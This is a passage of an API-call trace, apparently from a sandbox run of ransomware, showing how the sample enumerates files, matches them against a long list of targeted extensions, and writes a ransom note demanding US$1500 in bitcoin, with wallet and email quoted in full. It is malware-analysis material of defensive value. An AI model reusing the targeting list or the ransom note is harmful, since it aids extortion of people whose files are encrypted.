(pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.cpp") returned 0 [0165.257] lstrlenA (lpString="*.cpp") returned 5 [0165.257] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.rar") returned 0 [0165.257] lstrlenA (lpString="*.rar") returned 5 [0165.257] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.zip") returned 0 [0165.257] lstrlenA (lpString="*.zip") returned 5 [0165.257] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.html") returned 0 [0165.257] lstrlenA (lpString="*.html") returned 6 [0165.257] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.htm") returned 0 [0165.258] lstrlenA (lpString="*.htm") returned 5 [0165.258] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.xlsx") returned 0 [0165.258] lstrlenA (lpString="*.xlsx") returned 6 [0165.258] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.xls") returned 0 [0165.258] lstrlenA (lpString="*.xls") returned 5 [0165.258] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.mp4") returned 0 [0165.258] lstrlenA (lpString="*.mp4") returned 5 [0165.258] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.ppt") returned 0 [0165.258] lstrlenA (lpString="*.ppt") returned 5 [0165.258] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.pptx") returned 0 [0165.258] lstrlenA (lpString="*.pptx") returned 6 [0165.258] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.doc") returned 0 [0165.258] lstrlenA (lpString="*.doc") returned 5 [0165.258] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.dot") returned 0 [0165.258] lstrlenA (lpString="*.dot") returned 5 [0165.258] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.docx") returned 0 [0165.258] lstrlenA (lpString="*.docx") returned 6 [0165.258] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.7z") returned 0 [0165.258] lstrlenA (lpString="*.7z") returned 4 [0165.258] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.tar") returned 0 [0165.258] lstrlenA (lpString="*.tar") returned 5 [0165.258] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.bz2") returned 0 [0165.258] lstrlenA (lpString="*.bz2") returned 5 [0165.258] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.gz") returned 0 [0165.259] lstrlenA (lpString="*.gz") returned 4 [0165.259] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.mkv") returned 0 [0165.259] lstrlenA (lpString="*.mkv") returned 5 [0165.259] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.eml") returned 0 [0165.259] lstrlenA (lpString="*.eml") returned 5 [0165.259] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.msg") returned 0 [0165.259] lstrlenA (lpString="*.msg") returned 5 [0165.259] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.edb") returned 0 [0165.259] lstrlenA (lpString="*.edb") returned 5 [0165.259] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.accdb") returned 0 [0165.259] lstrlenA (lpString="*.accdb") returned 7 [0165.259] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.odb") returned 0 [0165.259] lstrlenA (lpString="*.odb") returned 5 [0165.259] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.java") returned 0 [0165.259] lstrlenA (lpString="*.java") returned 6 [0165.259] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.asm") returned 0 [0165.259] lstrlenA (lpString="*.asm") returned 5 [0165.259] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.pfx") returned 0 [0165.259] lstrlenA (lpString="*.pfx") returned 5 [0165.259] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.pem") returned 0 [0165.259] lstrlenA (lpString="*.pem") returned 5 [0165.259] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.p12") returned 0 [0165.259] lstrlenA (lpString="*.p12") returned 5 [0165.260] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.gpg") returned 0 [0165.260] lstrlenA (lpString="*.gpg") returned 5 [0165.260] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.vsd") returned 0 [0165.260] lstrlenA (lpString="*.vsd") returned 5 [0165.260] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.odg") returned 0 [0165.260] lstrlenA (lpString="*.odg") returned 5 [0165.260] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.raw") returned 0 [0165.260] lstrlenA (lpString="*.raw") returned 5 [0165.260] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.nef") returned 0 [0165.260] lstrlenA (lpString="*.nef") returned 5 [0165.260] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.svg") returned 0 [0165.260] lstrlenA (lpString="*.svg") returned 5 [0165.260] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.psd") returned 0 [0165.260] lstrlenA (lpString="*.psd") returned 5 [0165.260] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.vmx") returned 0 [0165.260] lstrlenA (lpString="*.vmx") returned 5 [0165.260] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.vmdk") returned 0 [0165.260] lstrlenA (lpString="*.vmdk") returned 6 [0165.260] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.vdi") returned 0 [0165.260] lstrlenA (lpString="*.vdi") returned 5 [0165.260] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.lay6") returned 0 [0165.260] lstrlenA (lpString="*.lay6") returned 6 [0165.260] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.mpeg") returned 0 [0165.260] lstrlenA (lpString="*.mpeg") returned 6 [0165.261] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.djvu") returned 0 [0165.261] lstrlenA (lpString="*.djvu") returned 6 [0165.261] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.tiff") returned 0 [0165.261] lstrlenA (lpString="*.tiff") returned 6 [0165.261] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.backup") returned 0 [0165.261] lstrlenA (lpString="*.backup") returned 8 [0165.261] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.pdf") returned 0 [0165.261] lstrlenA (lpString="*.pdf") returned 5 [0165.261] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.cert") returned 0 [0165.261] lstrlenA (lpString="*.cert") returned 6 [0165.261] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.docm") returned 0 [0165.261] lstrlenA (lpString="*.docm") returned 6 [0165.261] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.xlsm") returned 0 [0165.261] lstrlenA (lpString="*.xlsm") returned 6 [0165.261] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.dwg") returned 0 [0165.261] lstrlenA (lpString="*.dwg") returned 5 [0165.261] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.nd") returned 0 [0165.261] lstrlenA (lpString="*.nd") returned 4 [0165.261] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.tlg") returned 0 [0165.261] lstrlenA (lpString="*.tlg") returned 5 [0165.261] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.lgb") returned 0 [0165.261] lstrlenA (lpString="*.lgb") returned 5 [0165.262] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.mov") returned 0 [0165.262] lstrlenA (lpString="*.mov") returned 5 [0165.262] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.xdw") returned 0 [0165.262] lstrlenA (lpString="*.xdw") returned 5 [0165.262] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.ods") returned 0 [0165.262] lstrlenA (lpString="*.ods") returned 5 [0165.262] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.wav") returned 0 [0165.262] lstrlenA (lpString="*.wav") returned 5 [0165.262] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.mp3") returned 0 [0165.262] lstrlenA (lpString="*.mp3") returned 5 [0165.262] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.aiff") returned 0 [0165.262] lstrlenA (lpString="*.aiff") returned 6 [0165.262] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.flac") returned 0 [0165.262] lstrlenA (lpString="*.flac") returned 6 [0165.262] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.m4a") returned 0 [0165.262] lstrlenA (lpString="*.m4a") returned 5 [0165.262] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.csv") returned 0 [0165.262] lstrlenA (lpString="*.csv") returned 5 [0165.262] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3a25a0f, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb3a25a0f, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x95b4f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x1e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="aspnet.mof.uninstall", cAlternateFileName="ASPNET~1.UNI")) returned 1 [0165.262] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.262] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aspnet.mof.uninstall") returned 1 [0165.262] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aspnet.mof.uninstall") returned 1 [0165.262] lstrcmpiA (lpString1="", lpString2="aspnet.mof.uninstall") returned -1 [0165.263] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof") returned="aspnet.mof" [0165.263] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\" [0165.263] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\") returned="" [0165.263] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\HOW TO DECRYPT FILES.txt" [0165.263] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\how to decrypt files.txt")) returned 0xffffffff [0165.263] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.263] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0165.263] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0165.263] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.264] CloseHandle (hObject=0xffffffff) returned 0 [0165.264] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\", lpString2="aspnet.mof.uninstall" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall" [0165.264] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.ems") returned 0 [0165.264] lstrlenA (lpString="*.ems") returned 5 [0165.264] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.db") returned 0 [0165.264] lstrlenA (lpString="*.db") returned 4 [0165.264] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.dbf") returned 0 [0165.264] lstrlenA (lpString="*.dbf") returned 5 [0165.264] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.myox") returned 0 [0165.264] lstrlenA (lpString="*.myox") returned 6 [0165.264] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.myo") returned 0 [0165.264] lstrlenA (lpString="*.myo") returned 5 [0165.264] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.qbw") returned 0 [0165.264] lstrlenA (lpString="*.qbw") returned 5 [0165.264] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.qbb") returned 0 [0165.264] lstrlenA (lpString="*.qbb") returned 5 [0165.264] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.qbm") returned 0 [0165.264] lstrlenA (lpString="*.qbm") returned 5 [0165.264] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.qbo") returned 0 [0165.264] lstrlenA (lpString="*.qbo") returned 5 [0165.264] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.qbx") returned 0 [0165.264] lstrlenA (lpString="*.qbx") returned 5 [0165.265] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.qba") returned 0 [0165.265] lstrlenA (lpString="*.qba") returned 5 [0165.265] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.qby") returned 0 [0165.265] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.qbj") returned 0 [0165.266] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.ofx") returned 0 [0165.266] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.qif") returned 0 [0165.266] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.mye") returned 0 [0165.266] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.mbox") returned 0 [0165.266] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.eml") returned 0 [0165.267] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.pst") returned 0 [0165.267] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.ost") returned 0 [0165.267] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.idx") returned 0 [0165.267] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.dbx") returned 0 [0165.267] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.sql") returned 0 [0165.267] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.mdb") returned 0 [0165.268] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.fdb") returned 0 [0165.268] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.wab") returned 0 [0165.268] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.dat") returned 0 [0165.268] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.txt") returned 0 [0165.268] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.jpeg") returned 0 [0165.270] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof.uninstall", pszSpec="*.jpg") returned 0 [0165.270] PathMatchSpecA 